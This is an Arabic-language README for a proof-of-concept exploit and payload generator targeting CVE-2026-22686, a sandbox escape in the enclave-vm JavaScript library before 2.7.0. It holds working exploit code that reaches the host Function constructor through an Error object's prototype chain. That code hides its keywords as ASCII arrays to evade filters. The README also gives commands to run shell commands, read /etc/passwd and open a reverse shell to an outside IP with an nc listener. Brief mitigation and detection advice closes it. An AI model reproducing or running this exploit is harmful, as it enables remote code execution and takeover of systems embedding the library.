
أداة استغلال إثبات المفهوم ومولّد الحمولات لـ CVE-2026-22686، وهو هروب من وضع الحماية في enclave-vm <2.7.0 يتيح تنفيذ تعليمات برمجية عشوائية وأصداف عكسية.
إثبات مفهوم (PoC) لاستغلال ثغرة ومولّد حمولات لـ CVE-2026-22686، وهي ثغرة حرجة للهروب من صندوق الحماية في enclave-vm الإصدارات الأقدم من 2.7.0، مما يسمح بتنفيذ تعليمات برمجية عشوائية داخل بيئة تشغيل Node.js المضيفة.
⚠️ إخلاء مسؤولية: هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرّح به فقط. الاستخدام ضد أنظمة دون موافقة كتابية مسبقة غير قانوني. المؤلف لا يتحمل أي مسؤولية عن أي إساءة استخدام.
enclave-vm هي مكتبة لعزل JavaScript مصممة لتنفيذ تعليمات برمجية غير موثوقة بأمان داخل بيئة محكومة. في الإصدارات < 2.7.0، يسمح خلل في كيفية تعريض كائنات الأخطاء الخاصة بالمضيف لصندوق الحماية للمهاجم بالتنقل عبر سلسلة النموذج الأولي (prototype chain) والوصول إلى مُنشئ Function الخاص بالمضيف، مما يؤدي فعليًا إلى الهروب من صندوق الحماية.
يحتوي هذا المستودع على:
| الحقل | القيمة |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (حرجة) |
| CWE | CWE-693 — فشل آلية الحماية |
| المكوّن | enclave-vm |
| المتأثر | < 2.7.0 |
| تم الإصلاح في | 2.7.0 |
| التأثير | الهروب من صندوق الحماية → تنفيذ تعليمات برمجية عشوائية (RCE) |
عندما يفشل استدعاء أداة داخل صندوق الحماية، يعرّض enclave-vm كائن Error الخاص بالمضيف مرة أخرى للتعليمات البرمجية داخل صندوق الحماية. ولأن كائن الخطأ هذا يحتفظ بسلسلة النموذج الأولي الأصلية من بيئة المضيف، يمكن للمهاجم التنقل صعودًا في السلسلة كما يلي:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
بمجرد الحصول على مُنشئ Function الخاص بالمضيف، يمكن للمهاجم تجميع وتنفيذ JavaScript عشوائي في بيئة تشغيل المضيف — متجاوزًا صندوق الحماية بالكامل.
يتبع الاستغلال الخطوات التالية:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor، وهو Function الخاص بالمضيف.Function الخاص بالمضيف وتنفيذها.child_process وتنفيذ أمر shell عشوائي (أو إنشاء reverse shell).جميع الكلمات المفتاحية الحساسة (constructor، __proto__، __lookupGetter__، prototype) مُموّهة كرموز ASCII لتجاوز المرشحات الساكنة الساذجة.
لا توجد تبعيات خارجية — يستخدم مكتبة Python القياسية فقط.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
المتطلبات:
python3 generator.py
سيُطلب منك:
ثم انسخ الحمولة المُنشأة والصقها في مدخل صندوق الحماية المصاب.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
الطرفية 1 (المهاجم — المستمع):
nc -lvnp 4444
الطرفية 2 (المولّد):
python3 generator.py --revshell 10.10.15.152 4444
انسخ الحمولة الناتجة والصقها في صندوق الحماية. يجب أن تستقبل shell في الطرفية 1.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| الخيار | الوصف |
|---|---|
-c, --command | أمر shell المراد تنفيذه |
--revshell LHOST LPORT | إنشاء حمولة reverse shell |
--raw | طباعة الحمولة فقط (بدون شعار، بدون زخرفة) |
--lang {fr,en} | فرض لغة الواجهة |
-h, --help | عرض المساعدة والأمثلة |
const s = (...args) => String.fromCharCode(...args);
مساعد صغير لفك ترميز مصفوفات رموز ASCII في وقت التشغيل.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
يتجنب المرشحات البسيطة القائمة على النصوص.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
ثم يُستخدم Function الخاص بالمضيف لتنفيذ أمر المهاجم عبر child_process.execSync().
للمطورين:
enclave-vm إلى >= 2.7.0.npm audit، Snyk، Dependabot).isolated-vm، gVisor، Firecracker).للمستخدمين / المؤسسات:
الكشف:
ابحث عن طلبات HTTP أو إرسالات تعليمات برمجية تحتوي على callTool('NONEXISTENT'، __lookupGetter__، مصفوفات طويلة من القيم الصحيحة المفصولة بفواصل، أو child_process / execSync.
هذا المشروع منشور بشكل صارم لأغراض البحث الأمني التعليمي والدفاعي. وهو مخصص لباحثي الأمن، واختباري الاختراق المصرّح لهم، ولاعبي CTF.
لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى تصريح كتابي صريح لاختبارها. الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني في معظم الولايات القضائية (CFAA في الولايات المتحدة، Computer Misuse Act في المملكة المتحدة، المادة 323-1 في فرنسا) وقد يؤدي إلى عقوبات جنائية شديدة.
باستخدامك هذا البرنامج، فإنك توافق على أن المؤلف غير مسؤول عن أي أضرار أو عواقب قانونية ناتجة عن استخدامه.
هذا المشروع مرخّص بموجب MIT License — راجع ملف LICENSE للتفاصيل.
enclave-vm على الإفصاح المسؤول والإصلاحطلبات السحب مرحّب بها. للتغييرات الكبيرة، يرجى فتح issue أولاً.
التحسينات المقترحة:
vm2، isolated-vm)